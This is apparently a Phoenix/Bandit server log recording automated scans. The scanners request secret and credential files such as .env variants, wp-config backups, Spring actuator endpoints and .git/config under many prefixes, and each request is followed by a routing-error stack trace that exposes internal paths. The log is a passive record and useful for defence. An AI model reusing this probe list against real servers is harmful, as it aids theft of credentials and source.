[Sat Sep  5 07:13:42.771000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43328] GET /wp-config.php.swp
[Sat Sep  5 07:13:42.773000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43322] GET /wp-config.php~
[Sat Sep  5 07:13:42.794000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43284] ** (Phoenix.Router.NoRouteError) no route found for GET /actuator/configprops (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.794000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43272] ** (Phoenix.Router.NoRouteError) no route found for GET /actuator/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.795000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43238] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.save (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.812000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.19.214.136:43212] GET /.env.prod
[Sat Sep  5 07:13:42.819000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43336] ** (Phoenix.Router.NoRouteError) no route found for GET /storage/logs/laravel.log (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.820000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43322] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php~ (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.821000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43328] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php.swp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:13:42.842000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.19.214.136:43212] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.prod (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1152.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 07:26:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1134.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 07:28:55.631000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.631000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.633000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.633000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.633000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.634000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.635000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.669000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.669000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.669000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.669000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.669000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 07:28:55.979000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44856] GET /.git/config
[Sat Sep  5 07:28:56.020000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44858] GET /app/.git/config
[Sat Sep  5 07:28:56.043000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44856] ** (Phoenix.Router.NoRouteError) no route found for GET /.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.069000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44858] ** (Phoenix.Router.NoRouteError) no route found for GET /app/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.104000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44930] GET /var/www/.git/config
[Sat Sep  5 07:28:56.120000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44930] ** (Phoenix.Router.NoRouteError) no route found for GET /var/www/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.146000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44870] GET /src/.git/config
[Sat Sep  5 07:28:56.167000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44870] ** (Phoenix.Router.NoRouteError) no route found for GET /src/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.187000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44956] GET /wordpress/.git/config
[Sat Sep  5 07:28:56.188000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44918] GET /public/.git/config
[Sat Sep  5 07:28:56.189000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44902] GET /www/.git/config
[Sat Sep  5 07:28:56.222000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44918] ** (Phoenix.Router.NoRouteError) no route found for GET /public/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.222000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44956] ** (Phoenix.Router.NoRouteError) no route found for GET /wordpress/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.228000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44902] ** (Phoenix.Router.NoRouteError) no route found for GET /www/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.234000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44942] GET /htdocs/.git/config
[Sat Sep  5 07:28:56.234000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44886] GET /api/.git/config
[Sat Sep  5 07:28:56.237000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44892] GET /backend/.git/config
[Sat Sep  5 07:28:56.268000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44942] ** (Phoenix.Router.NoRouteError) no route found for GET /htdocs/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.270000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44886] ** (Phoenix.Router.NoRouteError) no route found for GET /api/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
